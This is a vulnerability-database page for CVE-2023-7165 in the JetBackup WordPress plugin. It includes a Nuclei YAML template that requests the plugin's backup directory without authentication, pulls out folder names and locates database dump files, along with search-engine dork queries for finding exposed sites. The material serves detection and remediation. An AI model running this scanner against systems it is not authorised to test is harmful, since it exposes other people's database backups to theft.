JetBackup <= 2.0.9.7 - Sensitive Information Exposure via Directory Listing
CVE-2023-7165
Verified
Description
JetBackup WordPress plugin <= 2.0.9.9 does not use index files to prevent directory listing in certain configurations, letting malicious actors leak backup files, exploit requires access to the web server.
Severity
High
CVSS Score
7.5
Exploit Probability
32%
Affected Product
jetbackup
Published Date
April 9, 2026
Template Author
pussycat0x
CVE-2023-7165.yaml
id: CVE-2023-7165
info:
name: JetBackup <= 2.0.9.7 - Sensitive Information Exposure via Directory Listing
author: pussycat0x
severity: high
description: |
JetBackup WordPress plugin <= 2.0.9.9 does not use index files to prevent directory listing in certain configurations, letting malicious actors leak backup files, exploit requires access to the web server.
impact: |
Attackers can access and leak sensitive backup files, potentially leading to data exposure and security breaches.
remediation: |
Update to version 2.0.9.9 or later that implements index files to prevent directory listing.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/backup/jetbackup-wp-backup-migrate-restore-2097-sensitive-information-exposure-via-directory-listing
- https://wpscan.com/vulnerability/ad1ef4c5-60c1-4729-81dd-f626aa0ce3fe/
- https://plugins.trac.wordpress.org/changeset/3016772/backup
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-7165
cwe-id: CWE-548
cpe: cpe:2.3:a:developer177:jetbackup:*:*:*:*:*:wordpress:*:*
epss-score: 0.31581
epss-percentile: 0.96857
metadata:
verified: true
max-request: 2
vendor: jetbackup
product: jetbackup
framework: wordpress
publicwww-query: "/wp-content/plugins/backup/"
fofa-query: body="/wp-content/plugins/backup/"
google-query: inurl:"/wp-content/uploads/jetbackup/"
shodan-query: http.html:"/wp-content/plugins/backup/"
tags: cve,cve2023,wordpress,wp-plugin,jetbackup,wp,unauth
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/uploads/jetbackup/"
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "Index of","jetbackup")'
condition: and
internal: true
extractors:
- type: regex
name: folder_name
part: body
group: 1
regex:
- 'href="([^"]*_D\d{14}[^"]*)/"'
internal: true
- method: GET
path:
- "{{BaseURL}}/wp-content/uploads/jetbackup/{{folder_name}}/"
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains(body, ".sgbp")'
- 'status_code == 200'
condition: and
extractors:
- type: regex
name: database_dump
part: body
group: 1
regex:
- 'href="([^"]+_database\.sql)"'
internal: true
# digest: 490a00463044022007b439f85bed4bd0d96c6d92d8d32bd90e9db5b5c8b455473d6fc487608c7be9022025663489e718dde669b78698640ebc320b0d14a6913d1574640427f34af13f6d:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2023-7165
CWE ID:
cwe-548
References
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/backup/jetbackup-wp-backup-migrate-restore-2097-sensitive-information-exposure-via-directory-listinghttps://wpscan.com/vulnerability/ad1ef4c5-60c1-4729-81dd-f626aa0ce3fe/https://plugins.trac.wordpress.org/changeset/3016772/backup
Remediation Steps
Update to version 2.0.9.9 or later that implements index files to prevent directory listing.